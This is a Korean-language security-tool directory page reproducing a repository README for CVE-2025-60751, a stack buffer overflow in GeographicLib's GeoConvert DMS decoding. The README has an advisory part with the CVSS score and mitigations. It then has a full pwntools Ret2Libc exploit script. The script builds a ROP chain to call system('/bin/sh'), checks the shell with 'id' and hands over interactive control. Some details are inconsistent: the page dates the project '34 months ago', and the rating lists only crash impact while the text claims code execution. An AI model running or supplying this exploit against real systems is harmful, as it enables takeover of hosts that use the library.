Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-60751 — # CVE-2025-60751 기술 분석 및 전문 익스플로잇 GeographicLib의 스택 기반 버퍼 오버플로우 취약점인 CVE-2025-60751에 대한 기술 분석 및 전문 익스플로잇입니다. 동적 ROP 가젯 탐색, GDB 통합, 익스플로잇 후 검증 기능을 갖춘 pwntools 기반 Ret2Libc 익스플로잇을 포함하며, 교육용 침투 테스트를 위해 제작되었습니다. | Kitploit
도구/GitHubGitHub/kaleth4/cve-2025-60751
Vulnerability AnalysisExploitationReverse EngineeringShellcodeDebuggersPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

# CVE-2025-60751 기술 분석 및 전문 익스플로잇 GeographicLib의 스택 기반 버퍼 오버플로우 취약점인 CVE-2025-60751에 대한 기술 분석 및 전문 익스플로잇입니다. 동적 ROP 가젯 탐색, GDB 통합, 익스플로잇 후 검증 기능을 갖춘 pwntools 기반 Ret2Libc 익스플로잇을 포함하며, 교육용 침투 테스트를 위해 제작되었습니다.

34개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-60751: GeographicLib 스택 기반 버퍼 오버플로우

📌 이 저장소는 C++ 라이브러리 GeographicLib에 존재하는 스택 기반 버퍼 오버플로우 (Stack-based Buffer Overflow) 결함인 CVE-2025-60751 취약점에 대한 분석 및 기술 문서를 포함합니다.


📝 설명

이 취약점은 GeoConvert 구성 요소 내의 DMS::InternalDecode 함수에서 발생합니다.
이 결함은 라이브러리가 DMS (도, 분, 초) 형식의 잘못되었거나 지나치게 긴 좌표 문자열을 처리하려고 할 때 발생하며, 이로 인해 스택에 할당된 버퍼의 경계를 벗어난 쓰기가 발생합니다.

  • 식별자: CVE-2025-60751
  • 구성 요소: GeoConvert / DMS::InternalDecode
  • 유형: Stack-based Buffer Overflow (CWE-121)
  • 심각도 (CVSS 3.1): 7.5 HIGH
  • 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 영향

    원격 공격자는 특별히 제작된 좌표 문자열을 전송하여 다음을 수행할 수 있습니다:

    • 서비스 거부 (DoS): GeographicLib를 사용하여 좌표를 변환하는 애플리케이션의 예기치 않은 종료(crash)를 유발합니다.
    • 시스템 불안정: 스택의 인접 메모리를 손상시켜 프로그램의 실행 흐름에 영향을 미칩니다.

    ⚠️ 기술 참고 사항: 현재 벡터는 가용성(A:H)에 초점을 맞추고 있지만, 현대적인 메모리 보호 기능(Stack Canaries, NX bit 또는 ASLR 활성화 등)이 없는 특정 환경에서는 이 결함이 잠재적으로 임의 코드 실행으로 확대될 수 있습니다.


    💻 영향을 받는 시스템

    제품취약 버전감지된 배포판
    GeographicLib2.5Debian LTS, Ubuntu 및 이 버전을 통합하는 기타 Linux 리포지토리의 패키지

    🛠️ 완화 및 해결 방법

    ✅ 업데이트: InternalDecode의 길이 검증이 수정된 최신 버전의 GeographicLib로 업데이트할 것을 강력히 권장합니다.

    ✅ 입력 검증: 업데이트가 불가능한 경우, DMS::Decode로 전송되는 문자열의 길이를 제한하는 검증 계층을 구현하십시오 (예: 최대 32자).

    ✅ 안전한 컴파일: 스택 보호 플래그를 사용하여 라이브러리를 컴파일하십시오:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 참고 자료

    • Issue #43 – GeographicLib GitHub
    • zer0matt의 기술 분석
    • Debian LTS Advisory

    💀 전문 익스플로잇 (고급 수준 — OSCP / Exploit-DB 스타일)

    이 익스플로잇은 pwntools를 사용하여 버퍼 오버플로우를 활용한 Ret2Libc 공격을 수행합니다.
    기본 버전과 달리 이 구현은 강력하고, 동적이며, 검증 가능하여 실제 침투 테스트 및 실습 환경에 적합합니다.

    ✅ 무엇이 *"프로"*답게 만드는가?

    특징이점
    동적 ROP(elf)하드코딩된 가젯에 의존하지 않음: 바이너리에서 자동으로 찾아냄.
    GDB 통합 지원python exploit.py GDB 실행 → 자동 디버깅 세션 시작.
    익스플로잇 후 검증id를 전송하고 대화형 제어를 넘겨주기 전에 셸을 확인함.
    스택 정렬을 위한 RET잘못된 정렬로 인한 system() 충돌 방지 (x64에서 중요).
    list + b"".join() 구조의 페이로드깔끔하고 가독성이 좋으며 수정 및 확장이 용이함.

    🐍 익스플로잇 코드 (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ 면책 조항
    이 저장소는 사이버 보안 전문가를 위한 순수한 정보 제공 및 교육 목적입니다.
    이 정보를 불법적인 목적으로 사용하는 것은 전적으로 사용자의 책임입니다.
    ❗ 코드를 주의해서 사용하십시오: 승인된 격리된 환경에서만, 명시적 허가를 받은 경우에만 사용하십시오.


    🔐 보안은 기능이 아니라 — 하나의 학문입니다.
    📬 취약점 보고: [email protected]
    📦 공식 저장소: https://github.com/geographiclib/geographiclib

    root@kitploit:~
    도구 다운로드